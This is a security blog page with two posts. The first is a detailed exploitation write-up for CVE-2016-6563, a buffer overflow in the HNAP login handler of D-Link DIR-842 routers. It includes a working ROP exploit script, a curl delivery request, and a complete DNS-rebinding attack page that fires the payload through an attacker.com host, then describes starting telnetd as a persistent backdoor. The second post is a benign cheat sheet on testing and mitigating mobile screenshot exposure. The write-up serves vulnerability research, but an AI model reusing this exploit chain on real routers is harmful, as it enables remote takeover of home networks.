Tuesday, August 31, 2021

A Journey Into the Beauty of DNSRebinding - Part 2



Abstract

In the first part, after a fast overview on the DNS Rebinding technique, we considered a practical example in which UPnP services has been exploited to perform NAT Injection attacks and, therefore, expose internal services on Internet.

In this second post we are going to demonstrate how DNS Rebinding could be used to exploit vulnerable services running locally in order to achieve Remote Code Execution (RCE). 

In particular, we will consider the case of CVE-2016-6563, which consists in a known Buffer Overflow issue caused by an unsafe parsing of the XML fields present in the login SOAP request affecting the HNAP service of some D-Link routers.

In short, below are listed the steps in order to create a working DNS Rebinding proof of concept:

  • Firmware static and dynamic analysis;
  • Buffer Overflow sink and source identification through static binary analysis;
  • Exploit development through binary emulation;
  • DNS Rebinding + Buffer Overflow ROP exploit chaining.


Static Firmware and Binary Analysis

As a first step, we downloaded the "DIR-842_C1_FW300b18.bin" firmware, which was available on the vendor site, and extracted the squash-fs filesystem by using binwalk.

$ binwalk -e DIR-842_C1_FW300b18.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/5"
112           0x70           uImage header, header size: 64 bytes, header CRC: 0x6A7785EB, created: 2017-05-19 16:57:27, image size: 1226247 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0xCD5C9222, OS: Linux, CPU: MIPS, image type: Multi-File Image, compression type: lzma, image name: "MIPS Seattle Linux-3.3.8"
184           0xB8           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3616252 bytes
1245296       0x130070       PackImg section delimiter tag, little endian size: 15765760 bytes; big endian size: 9564160 bytes
1245328       0x130090       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9563526 bytes, 2480 inodes, blocksize: 131072 bytes, created: 2017-05-19 16:57:32

Then we stared to inspect the "hnap" binary inside the filesystem and we found the same behavior described in CVE-2016-6563.

We have then reversed the target binary with Ghidra and, by looking for the the strings related to the login parameters, we have identified the following function, which was renamed as "Vulnerable" in the following snippet of code.

undefined4 Vulnerable(char *param_1)

{
 undefined4 uVar1;
 int iVar2;
 size_t sVar3;
 char *pcVar4;
 undefined4 local_758;
 undefined4 local_750;
 char *local_74c;
 char *local_748;
 undefined auStack1860 [4];
 undefined4 local_740;
 char acStack1852 [80];
 char acStack1772 [144];
 char acStack1628 [64];
 char acStack1564 [64];
 undefined2 local_5dc;
 char acStack1484 [64];
 char acStack1420 [68];
 char acStack1352 [64];
 char Action [128];
 char Username [128];
 char Password [128];
 undefined Captcha [128];
 undefined auStack776 [10];
 undefined auStack766 [20];
 undefined auStack746 [98];
 char acStack648 [64];
 char acStack584 [64];
 undefined auStack520 [64];
 char acStack456 [64];
 char acStack392 [128];
 char acStack264 [128];
 char acStack136 [128];
 
 memset(Action,0,0x80);
 memset(Username,0,0x80);
 memset(Password,0,0x80);
 memset(Captcha,0,0x80);
 memset(auStack776,0,0x80);
 memset(acStack648,0,0x40);
 memset(acStack584,0,0x40);
 memset(auStack520,0,0x40);
 memset(acStack456,0,0x40);
 memset(acStack392,0,0x80);
 memset(acStack264,0,0x80);
 DAT_00433260 = FUN_0041e620();
 local_758 = 0;
 FUN_004057ec(FUN_00419794,0,0x10000);
 uVar1 = FUN_0041edb4(DAT_00433260);
 VulnerableCalled(uVar1,"Action",Action);
 uVar1 = FUN_0041edb4(DAT_00433260);
 VulnerableCalled(uVar1,"Username",Username);
 uVar1 = FUN_0041edb4(DAT_00433260);
 VulnerableCalled(uVar1,"LoginPassword",Password);
 uVar1 = FUN_0041edb4(DAT_00433260);
 VulnerableCalled(uVar1,"Captcha",Captcha);
 
. . .

The "Action", "Username", "LoginPassword" and "Captcha" XML fields are parsed by the (renamed) "VulnerableXMLParser" method:

void VulnerableXMLParser(char *controllable_input,undefined4 param_2,char *destination_buffer)

{
 size_t length_param;
 char *p;
 char *pcVar1;
 char var_overflow [1024];
 char acStack2060 [1024];
 char EOT [1028];
 
 sprintf(acStack2060,"<%s>",param_2);
 sprintf(EOT,"</%s>",param_2);
 length_param = strlen(acStack2060);
 p = strstr(controllable_input,acStack2060);
 if (p != (char *)0x0) {
   p = p + length_param;
   pcVar1 = strstr(p,EOT);
   if ((pcVar1 != (char *)0x0) && (pcVar1 = pcVar1 + -(int)p, -1 < (int)pcVar1)) {
     strlcpy(var_overflow,p,pcVar1 + 1);
     var_overflow[(int)pcVar1] = '\0';
     strcpy(destination_buffer,var_overflow);
  }
}
 return;
}

Here the user-controllable input present in the login parameter tags is copied in an insecure way:
  • inside a local buffer (i.e. "var_overflow");
  • into the 128 byte buffer defined inside the caller function through the "destination_buffer" pointer.

Firmware Emulation and Binary Debugging

In order to try to exploit the issue we have tried to emulate the firmware. We then used FAT in order to achieve full system emulation:

# ./fat.py ../fwrs/DIR-842_C1_FW300b18.bin 

                              __          _
                            / _|         | |
                            | |_   __ _  | |_
                            | _|  / _` | | __|
                            | |  | (_| | | |_
                            |_|   \__,_|  \__|

              Welcome to the Firmware Analysis Toolkit - v0.3
  Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                By Attify - https://attify.com | @attifyme
   
[+] Firmware: DIR-842_C1_FW300b18.bin
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Initializing VLAN...
Bringing up TAP device...
attify123
Adding route to 192.168.0.1...
Starting firmware emulation... use Ctrl-a + x to exit
[   0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[   0.000000]
[   0.000000] LINUX started...
[   0.000000] bootconsole [early0] enabled
[   0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[   0.000000] FPU revision is: 00739300
[   0.000000] Determined physical RAM map:



However, we have used the QEMU user-mode emulation feature with the aim of debugging the issue and creating a working exploit.

In particular, the following setting was used to emulate a HTTP request to the target mips "hnap" service:

sudo chroot . ./qemu-mips-static -E HTTP_SOAPACTION="http://purenetworks.com/HNAP1/Login" -E HTTP_HNAP_AUTH="69201619B75DDDFF967E6ADD87BA945F 1583432673" -E REQUEST_URI="/HNAP1/" -E REQUET_METHOD="POST" -E HTTP_COOKIE="uid=99TIA1AP7" -E CONTENT_LENGTH=2640 -E CONTENT_TYPE="text/xml; charset=utf-8" -g 4444 ./htdocs/HNAP1/hnap
Following the description of the used parameters:
  • chroot: the full command was executed within the root directory of the extracted squash-fs filesystem, so chroot . makes this directory the root directory;
  • qemu-mips-static: allows to emulate MIPS binaries. The "-E" options was used to set some environment variables required by "hnap" to regularly invoke the vulnerable method; "-g" sets the "QEMU_GDB" environment variable that opens a gdb-server on the specified port (in this case port 4444).

It was then possible to attach to the gdb-server running on "localhost:4444" and debugging the target binary using gdb-multiarch as follows:

$ gdb-multiarch 
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) file htdocs/HNAP1/hnap
Reading symbols from htdocs/HNAP1/hnap...(no debugging symbols found)...done.
(gdb) target remote 127.0.0.1:4444
Remote debugging using 127.0.0.1:4444
warning: remote target does not support file transfer, attempting to access files from local filesystem.
Reading symbols from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so...(no debugging symbols found)...done.
0x7f7e7f90 in _start () from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.33.2.so
(gdb) c
Continuing.


A working Buffer Overflow exploit

After some digging into the analysis both user-mode and system-mode, we got a running ROP exploit that allowed us to execute an arbitrary command by jumping to the ld-uClibc-0.9.33.2 system() function:

from pwn import *

def p32_big(data):
       return p32(data, endian = 'big')

libc_text_base = 0x2aae4000
libc_text_start = 0x0
libc_system = libc_text_base + (0x00062104 - libc_text_start)
gadget1 = libc_text_base + (0x00042e08 - libc_text_start)
# identified gadget
# 0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6

payload = "A" * 1028 + p32_big(gadget1)
payload += "BBBB" # $sp points here
payload += "C" * 32
payload += p32_big(libc_system)
payload += "C" * 144
payload += "touch /tmp/minded;" # here the command to execute
soap_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>Admin</Username><LoginPassword>" + payload + "</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>"

print(soap_body)

The following gadget was found in the libc address and used to perform a return-to-system:

0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6
The gadget allows to jump to the next instruction through jalr $t9 and lw $t9, 0x24($sp); so we put the address of system() 36 bytes after the current pointed address. 

The argument of system(), was previously controlled thanks to addiu $a0, $sp, 0xb8, which points to the stack location that contains the command to execute.

Once adjusted the libc base address according to the system-mode, we could test the exploit by using curl (the body file contains the output of the python exploit):

$ curl -X POST -d @body http://192.168.0.1/HNAP1/ -H 'SOAPAction: http://purenetworks.com/HNAP1/Login' -H 'HNAP_AUTH: 7A6EA9269CBB71629F4EF2926343C7A1 1583173034' -H 'Content-Type: text/xml; charset=utf-8'

<title>500 Internal Server Error</title>

<h1>500 Internal Server Error</h1>

The "touch /tmp/minded" command was successfully executed as this file was written in the "/tmp" directory of the emulated firmware. 

The following output is related to FAT and shows the emulated router console exposing the SIGSEGV crash caused by the running exploit. 

# [ 5278.120000] do_page_fault() #2: sending SIGSEGV to hnap for invalid read access from
[ 5278.120000] 68202f90 (epc == 2ab26e20, ra == 2ab26e1c)
[ 5278.120000] Cpu 0
[ 5278.120000] $ 0   : 00000000 1000a400 68202f74 00000001
[ 5278.120000] $ 4   : 2ab64000 7f80be50 00000000 00000000
[ 5278.120000] $ 8   : 00000000 80104960 8f06cc98 0000000a
[ 5278.124000] $12   : 00000008 811e41c0 00000000 00000000
[ 5278.124000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
[ 5278.124000] $20   : 00487ec0 0049e88c 004a0000 00000000
[ 5278.124000] $24   : 8f3cc4f0 2ab1db80                  
[ 5278.124000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
[ 5278.124000] Hi   : 00000000
[ 5278.124000] Lo   : 00000000
[ 5278.124000] epc   : 2ab26e20 0x2ab26e20
[ 5278.124000]     Not tainted
[ 5278.124000] ra   : 2ab26e1c 0x2ab26e1c
[ 5278.124000] Status: 0000a413   USER EXL IE
[ 5278.124000] Cause : 10800008
[ 5278.124000] BadVA : 68202f90
[ 5278.124000] PrId : 00019300 (MIPS 24Kc)
[ 5278.124000] Modules linked in:
[ 5278.124000] Process hnap (pid: 20107, threadinfo=8f1b6000, task=8f2bd6e0, tls=2aab7440)
[ 5278.124000] Stack : 42424242 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.124000]         43434343 2ab46104 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
[ 5278.128000]         ...
[ 5278.128000] Call Trace:
[ 5278.128000]
[ 5278.128000]
[ 5278.128000] Code: 0320f809 02c02821 8fa200bc <8c59001c> 13200004 8fbc0018 0320f809 27a400b8 8fbc0018
[ 5278.128000] hnap/20107: potentially unexpected fatal signal 11.
[ 5278.128000]
[ 5278.128000] Cpu 0
[ 5278.128000] $ 0   : 00000000 1000a400 68202f74 00000001
[ 5278.132000] $ 4   : 2ab64000 7f80be50 00000000 00000000
[ 5278.132000] $ 8   : 00000000 80104960 8f06cc98 0000000a
[ 5278.132000] $12   : 00000008 811e41c0 00000000 00000000
[ 5278.132000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
[ 5278.132000] $20   : 00487ec0 0049e88c 004a0000 00000000
[ 5278.132000] $24   : 8f3cc4f0 2ab1db80                  
[ 5278.132000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
[ 5278.132000] Hi   : 00000000
[ 5278.132000] Lo   : 00000000
[ 5278.132000] epc   : 2ab26e20 0x2ab26e20
[ 5278.132000]     Not tainted
[ 5278.132000] ra   : 2ab26e1c 0x2ab26e1c
[ 5278.132000] Status: 0000a413   USER EXL IE
[ 5278.132000] Cause : 10800008
[ 5278.132000] BadVA : 68202f90
[ 5278.132000] PrId : 00019300 (MIPS 24Kc)
Following the proof of the execution of the touch command (of the minded file).


# ls /tmp/
server.key     wburfe         wifi0.caldata minded
server.crt     hapfie         wifi1.caldata

Remote Command Execution through DNS Rebinding attack

It was then possible to embed the generated payload inside an xhr SOAP request in the DNS Rebinding HTML attack page we used in the first part:

<html>
<head>
   <script src="jquery.min.js"></script>
   <script>
       
       function exploit()
      {
           var xhr = new XMLHttpRequest();
           xhr.open("POST", "http:\/\/127-0-0-1.192-168-0-1.attacker.com\/HNAP1\/", true);
           xhr.setRequestHeader("Accept", "*\/*");
           xhr.setRequestHeader("Content-Type", "text\/xml; charset=utf-8");
           xhr.setRequestHeader("SOAPAction","http:\/\/purenetworks.com\/HNAP1\/Login");
           xhr.setRequestHeader("HNAP_AUTH","7A6EA9269CBB71629F4EF2926343C7A1 1583173034");
           xhr.withCredentials = true;
           var body = "\x3c?xml version=\"1.0\" encoding=\"utf-8\"?\x3e\x3csoap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\x3e\x3csoap:Body\x3e\x3cLogin xmlns=\"http://purenetworks.com/HNAP1/\"\x3e\x3cAction\x3erequest\x3c/Action\x3e\x3cUsername\x3eAdmin\x3c/Username\x3e\x3cLoginPassword\x3eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*\xb2n\x08BBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC*\xb4a\x04CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCtouch \/tmp\/testJS\x3c/LoginPassword\x3e\x3cCaptcha\x3e\x3c/Captcha\x3e\x3c/Login\x3e\x3c/soap:Body\x3e\x3c/soap:Envelope\x3e";
           var aBody = new Uint8Array(body.length);
           for (var i = 0; i < aBody.length; i++)
           aBody[i] = body.charCodeAt(i);
           xhr.send(new Blob([aBody]));
      }

       var trigger = true;
       function start() {
           jQuery.ajax ({
               url: "/info/Login.html",
               type: "GET",
               data: "",
                }).always(function (data,status){
                   console.log("[+] Checking SOP bypass...");
                   if(trigger && data.includes("<title>D-LINK</title>")){
                       console.log("[+] Sending Exploit...");
                       exploit();
                       trigger = false;
                  }else{
                       console.log("[+] Waiting...");
                  }
              });
      }
       function poll() {
           setTimeout(function () {
               if(trigger){
                   start();
                   poll();
              }else{
                   console.log("[+] Exploit sent...")
              }
          }, 6000);
      }

       $(document).ready(function () {
           poll();
      });
   </script>
</head>

<body>
   <h1>DNS Rebinding Attack against Dlink Router CVE-XXXXX</h1>
   <br><br><br>
   <marquee>Insert here something...</marquee>
</body>
</html>
Below the screenshot showing the execution of the xhr request after the successful DNS Rebinding attack.
The exploit was successfully executed and the "testJS" file was created on the filesystem of the router.



Following the complete DNS Rebinding attack scheme.



Getting Persistence using DNS Rebinding + UPnP NAT Injection + telnetd service


The next step for an attacker would be to create a backdoor in order to get persistent access to the victim's device.


During the static firmware analysis we noticed the existence of "/usr/sbin/telnetd" within the firmware, so we could force the router to run the telnetd service just by replacing his path in the working exploit. 

Following the generated HTTP request.



The service was executed on the machine as shown in the following screenshot that shows the nmap output before and after the exploit execution.

Telnet service status before the exploit execution:



Telnet service started after the exploit execution:


Conclusion

We were able to use the DNS Rebinding attack against CVE-2016-6563 proving that it is possible to execute a Remote Command Execution against a not public facing service, as the web interface of a router.

Moreover, we have used the UPnP NAT Injection technique from the first part to expose the telnetd service to the public interface in order to get a remote backdoor.

Authors

Alessandro Braccio
Giovanni Guido

Thursday, May 27, 2021

Mobile Screenshot Prevention Cheatsheet - Testing and Fixing

Mobile Screenshot Prevention Cheat Sheet - Testing and Fixing



The following article will explain how to test mobile applications against any implemented screenshot prevention mechanism and then it will try to propose mitigations to such problem according to the context.

The following article is the second part of Mobile Screenshot Prevention Cheat Sheet - Risks and Scenarios published on IMQ Minded Security blog.

TLDR; None of the proposed solutions will provide a full protection against screenshotting. Therefore all of them shall be considered as mitigations.

Auditing Screenshot Prevention

In this section we will focus on testing and preventing mobile screenshot via static (e.g. perform a secure code review or a mobile application reverse engineering task) and dynamic (e.g. test a mobile application in its execution environment) contexts.

First things first: anyone approaching mobile application security should carefully read the OWASP Mobile Security Testing Guide (MSTG)[1][2].

Static Analysis

Assuming we have the source code of a mobile application and we have to check if the app implements any mitigation against screenshot attacks, either user or system generated. 
What should we look for?

Android

Usually the common remediation is to set FLAG_SECURE to LayoutParam, hence the first step is to search for it in the codebase. 
But, if we have access to the source code of an application somehow decompiled from a packaged application, it might be possible that the FLAG_SECURE keyword could have been obfuscated or replaced with its integer value.

Therefore, the values to search for, are:
  • FLAG_SECURE (high level symbol)
  • 8192 (numeric value)
  • 0x00002000 (hexadecimal numeric value)
If any of those values are found, it must be checked whether it is used as parameter set to the WindowManager LayoutParams

It should be noted that this flag must be set in all the Android Activities involved in the application and it would be effective for both user and system generated screenshots.

iOS

Since in iOS it is not possible to prevent user generated screenshots, we have to search for any code related to the notification system which can be used to provide awareness about the taken screenshot.
It is then possible to search for the following keywords:
  • userDidTakeScreenshotNotification (Swift)
  • UIApplicationUserDidTakeScreenshotNotification (Objective-C)
If any of the following keywords is found, it would be possible to then observe a function callback being executed after a user generated screenshot has been created.

On the other hand, for system generated screenshots, it would be necessary to analyze pieces of code which are responsible to handle the transitions between foreground and background application statuses.
Since the system generated screenshots are generated just before the application has been put in the background status, in these portions of code, if any remediation has been implemented, we are expecting to find some mechanism which would hide or obfuscate sensitive parts of the UI just before the screenshot has been generated.
It would then be possible to search for the possible values:
  • applicationWillResignActive (here we should find pieces of code hiding parts of the UI, e.g. by setting the hidden property on a view)
  • applicationDidBecomeActive (here we should find pieces of code showing parts of the UI, e.g. by unsetting the hidden property on a view)

    Dynamic Analysis

    TLDR; Let's try to generate a screenshot of the application and let's check if the application UI is shown in the device task manager.

    User Generated Screenshots

    First of all, let's focus on how we can generate a screenshot of our running application. Basically it will depend on which OS and device type we are testing.

    On a variety of Android devices, it is possible to generate a screenshot by using device specific combo keys. The most common combinations are:
    • VOLUME DOWN + POWER
    • VULUME UP + POWER
    It would be also possible to generate a screenshot by using the function tile in the system tray, but it strongly depends on the OS customizations.

    If we are using the Android emulator, we can use the specific button on the emulator toolbar:


    On iOS it depends on which physical keys are available on the target device. The two possible combo keys are:
    • POWER + HOME
    • VOLUME UP + POWER
    Finally, if we are using the iOS simulator, we can use the combo key CMD + S or we can use the drop down menu entry under File -> New Screen Shot.

    In all the above cases, the positive probe is the successful generation of a screenshot containing the same views actually on the device's screen, without any kind of modification and without any kind of notification generated on the device.

    If the running application is properly secured, we will see the following notification being generated on Android:

    On the other hand, since in iOS it is not possible to prevent a user to generate a screenshot of the application, if the running app is implementing a mitigation against screenshot generation it is not actually possible to define which behavior a pentester would see. 
    Some possible mitigations are:
    • The screenshot is partially obfuscated
    • A notification warns the user about the just generated screenshot
    • The application shows a message which informs the user about the just generated screenshot
    Beware that also a transparent and invisible mechanism could be implemented on iOS in order to warn the user about the screenshot generation, so dynamic analysis could not be sufficient in order to fully understand if an app is implementing some mitigation mechanism.

    System Generated Screenshots (AKA Task Manager Screenshots)

    On both the operating systems, the test is the same and is pretty straightforward:
    • Open the target application
    • Send the application in background by pressing the HOME button
    • Open the system task manager (e.g. by tapping the dedicated button on Android or by double tapping the home button on iOS, etc)
    At this point, if an application screenshot is shown identical as it was possible to observe when the app was in foreground, it means that no prevention mechanism was implemented.
    On the other hand, if a blank screen is shown or if the image is partially obfuscated, it does mean that the app is actually implementing some sort of full or partial prevention mechanism against system generated screenshots.

    Fixing Screenshot Issues


    Which APIs are provided to prevent or mitigate the issue?


    Android

    One flag to rule them all.
    Basically Android offers the LayoutParam FLAG_SECURE [3] which can be used to prevent both user and system generated screenshots.

    Simple and straightforward.

    iOS

    On iOS the developer is not provided the ability to prevent user generated screenshots. This is due to the strict UI/UX guidelines provided by Apple which are preventing developers from interfering with the standard OS behavior.
    Two kinds of APIs are interesting from the security point of view, when talking about screenshot prevention mechanisms.

    For user generated screenshots it is possible to use the userDidTakeScreenshotNotification [4] system wide notification. In this way, it would be possible to run code just after a screenshot was generated. 
    The most common approach is to generate a notification or an alert which warns the user about the generated screenshot. This would inform the user and will raise a red flag in case of the screenshot was not explicitly and voluntarily generated.

    On the other hand, for system generated screenshots, it is possible to refer to the applicationWillResignActive [5] application's lifecycle callback. This callback is invoked just before any application is moved from the foreground to the background and enables developers to execute code just before the system generated screenshots are created.
    These operations can include:
    • Putting an overlay over the whole application window
    • Hiding/masking sensitive parts of the UI
    • Navigating to other application parts which are not showing sensitive information

    Stop talking! Show me the code!

    This section is intentionally left without any comment, since explanations have been provided in the above sections.
    Just the source code that can be used in various scenarios and situations.
    Pro tip: If some data is VERY sensitive, such as the combination of a credit card PAN, its PIN code and the CVV2 code, don't put it in your views. If some data is not displayed on the screen, it can't be screenshotted!

    But since in the real world such approach is very often not applicable, let's dig into some mitigation implementations.

    Android

    Protects from:
    • User generated screenshots: ✔️
    • System Generated screenshots: ✔️

    Kotlin

    import android.os.Bundle
    import android.support.v7.app.AppCompatActivity
    import android.view.WindowManager

    class MainActivity : AppCompatActivity() {
      override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        window.setFlags(
          WindowManager.LayoutParams.FLAG_SECURE,
          WindowManager.LayoutParams.FLAG_SECURE
        )
      }
    }


    Java


    import android.os.Bundle;
    import android.view.WindowManager;

    public class MainActivity extends Activity {

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);

            getWindow().setFlags(
                WindowManager.LayoutParams.FLAG_SECURE,
                WindowManager.LayoutParams.FLAG_SECURE
            );
      }
    }


    References: [6]

    iOS

    Protects from:
    • User generated screenshots: ðŸ¤· (partial)
    • System Generated screenshots: ❌

    Swift

    NotificationCenter.default.addObserver(
        forName: UIApplication.userDidTakeScreenshotNotification,
        object: nil,
        queue: .main) { notification in
            //Notify the user, log the action, etc...
    }

    Objective-C

    NSOperationQueue *mainQueue = [NSOperationQueue mainQueue];
    [[NSNotificationCenter defaultCenter] addObserverForName:UIApplicationUserDidTakeScreenshotNotification
                                                      object:nil
                                                       queue:mainQueue
                                                  usingBlock:^(NSNotification *note) {
                                                     //Notify the user, log the action, etc...
                                                  }];

    References: [6] [7]


    Protects from:
    • User generated screenshots: ❌
    • System Generated screenshots: ✔️

    - (void)applicationWillResignActive:(UIApplication *)application {
        
        // hide main window
        self.window.hidden = YES;
    }

    - (void)applicationDidBecomeActive:(UIApplication *)application {
        
        // show window back
        self.window.hidden = NO;
    }

    References: [8]

    React Native

    Protects from:
    • Android User generated screenshots: ✔️
    • Android System Generated screenshots: ✔️
    • iOS User generated screenshots: ðŸ¤· (partial)
    • iOS System Generated screenshots: ❌

    Android

    import android.os.Bundle;
    import com.facebook.react.ReactActivity;
    import android.view.WindowManager;

    public class MainActivity extends ReactActivity {

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);

            getWindow().setFlags(
                WindowManager.LayoutParams.FLAG_SECURE,
                WindowManager.LayoutParams.FLAG_SECURE
            );
      }
    }


    iOS

    import React from 'react'
    import { AppState, Platform, View } from 'react-native'

    const SecurityScreen = () => <View />

    const showSecurityScreenFromAppState = appState =>
      ['background', 'inactive'].includes(appState)

    const withSecurityScreenIOS = Wrapped => {
      return class WithSecurityScreen extends React.Component {
        state = {
          showSecurityScreen: showSecurityScreenFromAppState(AppState.currentState)
        }

        componentDidMount () {
          AppState.addEventListener('change', this.onChangeAppState)
        }
      
        componentWillUnmount () {
          AppState.removeEventListener('change', this.onChangeAppState)
        }
      
        onChangeAppState = nextAppState => {
          const showSecurityScreen = showSecurityScreenFromAppState(nextAppState)

          this.setState({ showSecurityScreen })
        }  

        render() {
          return this.state.showSecurityScreen
            ? <SecurityScreen />
            : <Wrapped {...this.props} />
        }
      }
    }

    const withSecurityScreenAndroid = Wrapped => Wrapped

    export const withSecurityScreen = Platform.OS === 'ios'
      ? withSecurityScreenIOS
      : withSecurityScreenAndroid


    Then, in your App component:

    import { withSecurityScreen } from './withSecurityScreen'
    ...
    export default withSecurityScreen(App);


    Pre bundled libraries are also available on NPM [10].

    References: [9] [10]

    Cordova / Ionic

    There are many Cordova plugins which can help on achieving the goal. 
    A good place to start is the cordova-plugin-prevent-screenshot-coffice open source repository.

    Protects from:
    • Android User generated screenshots: ✔️
    • Android System Generated screenshots: ✔️
    • iOS User generated screenshots: ðŸ¤· (partial)
    • iOS System Generated screenshots: ❌
    References: [11]

    Commercial Solutions

    Several commercial solutions are available on the market, however since there was no easy way to test any of them, this blog post will not promote or endorse any commercial tool.

    Conclusions - Wrapping it up

    TLDR; None of the proposed solutions will provide a full protection against screenshotting, therefore all of them should be considered as mitigations.

    Since all the OSs handle the application status transitions in a different way, and different versions of  OSs behave in a different way, it will always be possible to generate some sort of bypass of any implemented mitigation mechanism.
    Moreover, let's say that if an application is running on an untrusted - jailbroken or rooted - device  environment it is easy for an attacker to hook and bypass any kind of protection with some effort.

    The chosen mitigation should then be biased on which data the application is showing on the screen and how much sensitive is this data.
    Examples of such mitigation bypass are available in literature, such as [12].

    References